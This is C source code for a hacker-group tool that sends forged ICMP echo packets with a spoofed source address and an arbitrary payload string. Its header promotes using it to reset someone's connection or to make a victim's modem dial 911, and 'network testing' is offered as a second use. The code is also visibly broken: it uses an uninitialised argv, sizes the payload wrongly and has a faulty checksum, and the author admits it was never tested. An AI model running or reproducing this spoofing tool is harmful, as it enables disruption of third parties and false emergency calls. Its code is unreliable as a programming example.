/********************************************************* _______ __ .__ _____________ \ _ \_/ |_ ____ ____ ____ | | \____ \_ __ \/ /_\ \ __\/ _ \_/ ___\/ _ \| | | |_> > | \/\ \_/ \ | ( <_> ) \__( <_> ) |__ | __/|__| \_____ /__| \____/ \___ >____/|____/ |__| \/ \/ --------------------------------------------------------- [This program can be used 2 ways]: 1) it can be used to reset someones connection or making the persons modem dial 911, but these modem commands are for you to find out elsewhere... 2) It can be used to test a network with specified strings... Both of them work fine... [Author]: misteri0 from pr0tocol + some of the code from gin.c [Fuck Y0u'z]: #linuxsex (you know why...) --------------------------------------------------------- e-mail: leet@ibw.com.ni to find out on information on pr0tocol and ways to join/ways to help us... --------------------------------------------------------- greets: everyone in #bitchx@unet, #ehforce@unet, #p.a.t.c.h.@unet #c@unet, #perl@unet, YOU for trying this out.. ***************************************************************/ /* p.s., I didn't test this program in any way, so I'm 90% sure it works... */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define blink "" #define cl "" #define mag "" #define cyn "" #define wht "" #define red "" #define hblk "" #define hmag "" #define hcyn "" #define hwht "" #define hred "" #define bblk "" #define bred "" #define bmag "" #define bcyn "" #define bwht "" #define bg "" void usage( char *name ); char *get_progname( char *fullname ); void done( int foo ); void fux0r( int port, struct sockaddr_in sin, struct sockaddr_in din ); unsigned short in_chksum( u_short *ipbuf, int iplen ); int main( int argc, char **argv ) { struct hostent *sourceinfo, *destinfo; struct sockaddr_in sin, din; int sockfd, numpackets, i; char *target, *source; ( argc < 5 ) ? usage( get_progname( argv[0] ) ) : ( void )NULL; source = argv[1]; target = argv[2]; numpackets = ( atoi( argv[3] ) ); signal( SIGINT, done ); if( ( sourceinfo = gethostbyname( source ) ) == NULL ) { fprintf(stderr, "%sCan't resolve source host%s <-%s[%s%s%s%s%s]%s->\n",mag,cl,hcyn,cl,red,source,cl,hcyn,cl); exit( -1 ); } memcpy( ( caddr_t )&sin.sin_addr, sourceinfo->h_addr, sourceinfo->h_length ); sin.sin_family = AF_INET; if( ( destinfo = gethostbyname( target ) ) == NULL ) { fprintf(stderr,"%sCan't resolve source host%s <-%s[%s%s%s%s%s]%s->\n",mag,cl,hcyn,cl,red,target,cl,hcyn,cl); exit( -1 ); } memcpy( ( caddr_t )&din.sin_addr, destinfo->h_addr, destinfo->h_length ); din.sin_family = AF_INET; if( ( sockfd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) < 0 ) { printf( "Cannot get raw socket, you must be r00t!\n" ); exit( -1 ); } printf("%s[%s%s----------\t\t----------%s%s]%s\n",mag,cl,cyn,cl,mag,cl); printf( "Source Host\t\t:%s\n", inet_ntoa(sin.sin_addr)); printf( "Target Host\t\t: %s\n", inet_ntoa( din.sin_addr ) ); printf( "Number\t\t\t: %d\n", numpackets ); printf("%s[%s%s----------\t\t----------%s%s]%s\n",mag,cl,cyn,cl,mag,cl); for( i = 0; i < numpackets; i++ ) fux0r( sockfd, sin, din ); printf( "sent %d packet%c...done", numpackets, ( numpackets > 1 ) ? 's' : ( char )NULL ); return 0; } void usage( char *name ) { printf( "Usage: %s %s<%s%ssource host%s%s>%s %s<%s%sdest host%s%s>%s %s<%s%snum packets%s%s>%s %s<%s%sstring-to-send%s%s>%s\n",name,cyn,cl,mag,cl,cyn,cl,cyn,cl,mag,cl,cyn,cl,cyn,cl,mag,cl,cyn,cl,cyn,cl,mag,cl,cyn,cl); printf("\t%smisteri0%s %s-%s %s[%s%spr0tocol%s]%s Kid tested, mother approved...\n",red,cl,hcyn,red,cl,red,blink,cl,cl); exit( 0 ); } char *get_progname( char *fullname ) { char *retval = strrchr( fullname, '/' ); return retval ? ++retval : fullname; } void done( int foo ) { puts( "Exiting...\n" ); exit( 1 ); } void fux0r(int port, struct sockaddr_in sin, struct sockaddr_in din) { char **argv; char *stringtosend = argv[5]; char *packet; int total; struct iphdr *ip; struct icmphdr *icmp; size_t msglen = sizeof( stringtosend ), iphlen = sizeof( struct iphdr ); size_t icplen = sizeof( struct icmphdr ), timlen = sizeof( struct timeval ); int len = strlen( stringtosend ); packet = ( char * )malloc( iphlen + icplen + len ); ip = ( struct iphdr * )packet; icmp = ( struct icmphdr * )( packet + iphlen ); ( void )gettimeofday( ( struct timeval * )&packet[( icplen + iphlen )],( struct timezone * )NULL ); memcpy( ( packet + iphlen + icplen + timlen ), stringtosend, ( len - 4 )); ip->tot_len = htons( iphlen + icplen + ( len - 4 ) + timlen ); ip->version = 4; ip->ihl = 5; ip->tos = 0; ip->ttl = 255; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = din.sin_addr.s_addr; ip->check = in_chksum( ( u_short * )ip, iphlen ); icmp->type = ICMP_ECHO; icmp->code = 0; icmp->checksum = in_chksum( ( u_short * )icmp, ( icplen + ( len - 4 ) ) ); total = ( iphlen + icplen + timlen + len + 16 ); sendto( port, packet, total, 0, ( struct sockaddr * )&din, sizeof( struct sockaddr ) ); free( packet ); } // stolen from smurf unsigned short in_chksum( u_short *ipbuf, int iplen ) { register int nleft = iplen; register int sum = 0; u_short answer = 0; while( nleft > 1 ) { sum += *ipbuf++; nleft -= 2; } if( nleft == 1 ) { *( u_char * )( &answer ) = *( u_char * )ipbuf; sum += answer; } sum = ( sum >> 16 ) + ( sum + 0xffff ); sum += ( sum >> 16 ); answer = ~sum; return( answer ); }